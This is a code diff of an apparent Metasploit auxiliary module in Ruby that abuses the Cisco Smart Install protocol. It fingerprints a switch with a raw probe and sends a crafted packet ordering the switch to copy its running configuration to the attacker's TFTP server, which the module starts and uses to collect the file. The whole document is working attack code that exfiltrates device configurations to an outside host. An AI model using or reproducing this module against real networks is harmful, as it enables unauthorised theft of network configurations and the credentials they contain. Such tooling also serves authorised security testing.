@@ -48,18 +48,29 @@ def initialize(info = {})
48
48
)
49
49
end
50
50
51
- def start_tftp ( req_type )
51
+ # thanks to https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py#L52-L53
52
+ SMI_PROBE = "\x00 \x00 \x00 \x01 \x00 \x00 \x00 \x01 \x00 \x00 \x00 \x04 \x00 \x00 \x00 \x08 \x00 \x00 \x00 \x01 \x00 \x00 \x00 \x00 " . freeze
53
+ SMI_RE = /^\x00 {3}\x04 \x00 {7}\x03 \x00 {3}\x08 \x00 {3}\x01 \x00 {4}$/
54
+ def smi?
55
+ sock . puts ( SMI_PROBE )
56
+ response = sock . get_once ( -1 )
57
+ if response
58
+ if SMI_RE . match ( response )
59
+ print_good ( "Fingerprinted the Cisco Smart Install protocol" )
60
+ return true
61
+ else
62
+ vprint_status ( "No match for '#{ response } '" )
63
+ end
64
+ else
65
+ vprint_status ( "No response" )
66
+ end
67
+ end
68
+
69
+ def start_tftp
52
70
print_status ( "Starting TFTP Server..." )
53
71
@tftp = Rex ::Proto ::TFTP ::Server . new ( 69 , '0.0.0.0' , { 'Msf' => framework , 'MsfExploit' => self } )
54
- case
55
- when req_type == "PUT"
56
- @tftp . incoming_file_hook = Proc . new { |info | process_incoming ( info ) }
57
- @tftp . start
58
- when req_type == "GET" # in progress of writing "UPLOAD" function
59
- config = @config . read ( @config . stat . size )
60
- @tftp . register_file ( "#{ Rex ::Text . rand_text_alpha } .conf" , config )
61
- @tftp . start
62
- end
72
+ @tftp . incoming_file_hook = Proc . new { |info | process_incoming ( info ) }
73
+ @tftp . start
63
74
add_socket ( @tftp . sock )
64
75
@main_thread = ::Thread . current
65
76
end
@@ -83,6 +94,7 @@ def cleanup
83
94
# Callback for incoming files
84
95
#
85
96
def process_incoming ( info )
97
+ @config_recieved = true
86
98
return if not info [ :file ]
87
99
name = info [ :file ] [ :name ]
88
100
data = info [ :file ] [ :data ]
@@ -101,30 +113,12 @@ def decode_hex(string)
101
113
string . scan ( /../ ) . map { |x | x . hex } . pack ( 'c*' )
102
114
end
103
115
104
- def craft_packet
116
+ def send_packet
105
117
copy_config = "copy system:running-config tftp://#{ @lhost } /#{ Rex ::Text . rand_text_alpha ( 8 ) } "
106
118
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
107
119
packet = ( decode_hex ( packet_header ) + copy_config + decode_hex ( ( '00' * ( 336 - copy_config . length ) ) ) ) + ( decode_hex ( ( '00' * ( 336 ) ) ) ) + ( decode_hex ( ( '00' * 336 ) ) )
108
- return packet
109
- end
110
-
111
-
112
- # thanks to https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py#L52-L53
113
- SMI_PROBE = "\x00 \x00 \x00 \x01 \x00 \x00 \x00 \x01 \x00 \x00 \x00 \x04 \x00 \x00 \x00 \x08 \x00 \x00 \x00 \x01 \x00 \x00 \x00 \x00 " . freeze
114
- SMI_RE = /^\x00 {3}\x04 \x00 {7}\x03 \x00 {3}\x08 \x00 {3}\x01 \x00 {4}$/
115
- def smi?
116
- sock . puts ( SMI_PROBE )
117
- response = sock . get_once ( -1 )
118
- if response
119
- if SMI_RE . match ( response )
120
- print_good ( "Fingerprinted the Cisco Smart Install protocol" )
121
- return true
122
- else
123
- vprint_status ( "No match for '#{ response } '" )
124
- end
125
- else
126
- vprint_status ( "No response" )
127
- end
120
+ print_status ( "Requesting configuration from device..." )
121
+ sock . put ( packet )
128
122
end
129
123
130
124
def run_host ( ip )
@@ -135,17 +129,15 @@ def run_host(ip)
135
129
connect
136
130
return unless smi?
137
131
when action . name == 'DOWNLOAD'
138
- start_tftp ( "PUT" )
132
+ start_tftp
139
133
connect
140
134
return unless smi?
141
135
disconnect # cant send any additional packets, so closing
142
136
connect
143
137
print_status ( "Waiting #{ datastore [ 'DELAY' ] } seconds before requesting config" )
144
- Rex . sleep ( datastore [ 'DELAY' ] )
145
- packet = craft_packet
146
- print_status ( "Requesting configuration from device..." )
138
+ Rex . sleep ( datastore [ 'DELAY' ] )
139
+ send_packet
147
140
print_status ( "Waiting #{ datastore [ 'SLEEP' ] } seconds for configuration" )
148
- sock . put ( packet )
149
141
Rex . sleep ( datastore [ 'SLEEP' ] )
150
142
end
151
143
rescue Rex ::AddressInUse , Rex ::HostUnreachable , Rex ::ConnectionTimeout , Rex ::ConnectionRefused , \
0 commit comments